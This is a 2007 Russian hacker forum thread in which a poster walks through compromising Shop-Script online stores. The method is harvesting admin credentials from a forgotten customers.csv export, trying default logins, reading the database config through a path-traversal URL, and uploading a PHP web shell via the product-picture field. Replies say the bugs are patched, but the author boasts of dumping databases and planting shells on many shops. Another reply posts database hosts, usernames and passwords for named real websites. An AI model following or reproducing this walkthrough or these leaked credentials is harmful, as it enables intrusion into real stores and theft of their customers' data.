PDA

Просмотр полной версии : Уязвимость движка Shop-script


miniden
29.06.2007, 02:58
Привет всем. Я долго изучал движок Интернет магазина Shop-script. Задавая вопросы на ачате искал уязвимости,
и вот наконец-то мною бил обнаружен один косяк.

Итак, одно прекрасной ночью, когда я сидел в очередной раз сидел и
изучал имеющиеся файлы в архиве магазина мне в глаза попался замечательный файл customers.csv
Этот файл создается, если в админке, в разделе "Покупатели" нажать "Экспортировать пользователей в Excel файл".
Эту кнопку нажимают, чтоб иметь на компе базу своих пользователей,
и конечноже тупые админы часто забывают эти файлы удалять.
И именно здесь есть одна прелесть, а прелесть эта заключается в том,
что админ тоже есть пользователь и входит в эту базу.
База выглядит вот так

Login;Password;Email;First name;Last name;Country;ZIP;State;City;Address;Phone number;
qwe;qwe;qwe@.ru;qwe;qwe;qwe;qwe;qwe;qwe;qwe;654654 ;
shop;shop;;;;;;;;;;

qwe-это просто пользователь
shop-это и есть админ, его выдает то, что он не заполнял свою анкету и инфы
которая должна быть между ;; отсутствует, поэтому там просто ;;;;;;;;;;
логин пас есть, слушаем дальше.
По дефолту в шоп скрипте логин MANEGER, а пас 123,
я встречал довольно таки много шопоф с стандартными настройками..
если же админ всеравно поменял и логин и па и заполнил инфу, то естественно он сливается с
пользователями и его казалось би, хрен найдешь, но нет, все есть пару методоф.
в адресной строке пишем http://адрес сайта точка ру/index.php?aux_page=../cfg/connect.inc.php
в сорсах должна бить такая штука

define('DBMS', 'MYSQL'); // database system
define('DB_HOST', 'localhost'); // database host
define('DB_USER', 'shop'); // username
define('DB_PASS', '159'); // password
define('DB_NAME', 'shop'); // database name
define('ADMIN_LOGIN', 'shop'); //administrator's login


и тут опять два хода или берем, шел и конектимся к базе по эти настройкам, потом лезем
SS_customers тама ищем юзера с именем указанном в define('ADMIN_LOGIN', 'shop');
логин пас есть идем лить шелл.

Либо путь второй, смотрим define('ADMIN_LOGIN', 'shop');
и в файле customers.csv ищем юзера с таким логином, логин пас есть лезем в админку, льем шелл.

Итак, вот мы все сделали, мы в админке, и хотим залить шелл,
клацаем "Категории и товары"/[ Добавить ] потом в любое поле
с фотками указываем путь к шеллу, тыцаем сохранить. Шел ждет вас по адресу
http://адрес сайта точка ру/products_pictures/ваш shell.php
заливаем в другое место на сервере шел, старый удаляем,
это для того чтобы небыло такого что админ буит просматривать свой сайт, а тут
бац на месте где должна быть фотка квадратик, и адрес к этому квадратику
http://адрес сайта точка ру/products_pictures/ваш shell.php


Спасибо Shop-Script'у за их магазин,
статье журнала xakep


В принципе все)))

proZaik
29.06.2007, 11:10
Все это уже не актуально на двиге годичной давности!
нет поля Password в customers.csv
По дефолту в нормальнах магазах ничего никогда не стоит
эта бага index.php?aux_page=../cfg/connect.inc.php исправлена лет пять назад

Продолжая ретроспективу багов можно добавть

закрыты скули в админ зоне найденые и выложенные киберлордами, пассивные xss которые присутствовали в старых версиях почти во всех полях

шелл вроде еще можно залить через админку, но туда надо еще попасть


P. S. если кто-то предлагает самую свежую версию скрипта в ней должны быть обязательно SMS-уведомления, модуль Яндекс.Маркет, изменен интерфейс админки

Последняя версия на данный момент 1.24-061123

cylaaaan
29.06.2007, 12:09
Локальный инклуд уж давно убрали.
мб это какой то древний shop-сайт тебе попался =D

miniden
29.06.2007, 13:56
но кустумерс то остаёться, невнимательные админы всеравно забивают его удалить, и я написал как не только через index.php?aux_page=../cfg/connect.inc.php узнавать лог админа, и все остальное, в основном я акцентирую внимание на кустумерсе, я недавно сам написавши в гугле соотвецтвующий запрос, нашол много шопов, и посливал базы, позаливал шелов, повекрте таких магазов еще много!

fly
07.07.2007, 18:36
Я года 3 назад ее юзал!
http://xshop.com.ua/index.php?aux_page=./DB_USER:imax
DB_PASS:ZMqAhAHX
http://www.xshop.com.ua/phpmyadmin/

http://www.netpodarka.ru/index.php?aux_page=./
DB_HOST:mysql.nthost.ru
DB_USER:samplea_admin
DB_PASS:all4you2


$DB_HOST = '217.107.212.251'; // database host
$DB_USER = 'rifeybi8_'; // username
$DB_PASS = 'qjJlQK6L'; // password
$DB_NAME = 'rifeybi8_new'; // database name

И багу эту нашел тоже случайно, просто подставил ../ и все догнал!

Sn@k3
10.07.2007, 14:59
вот только на ксакепе видел на багтраке багу на шоп-скрипт 2.0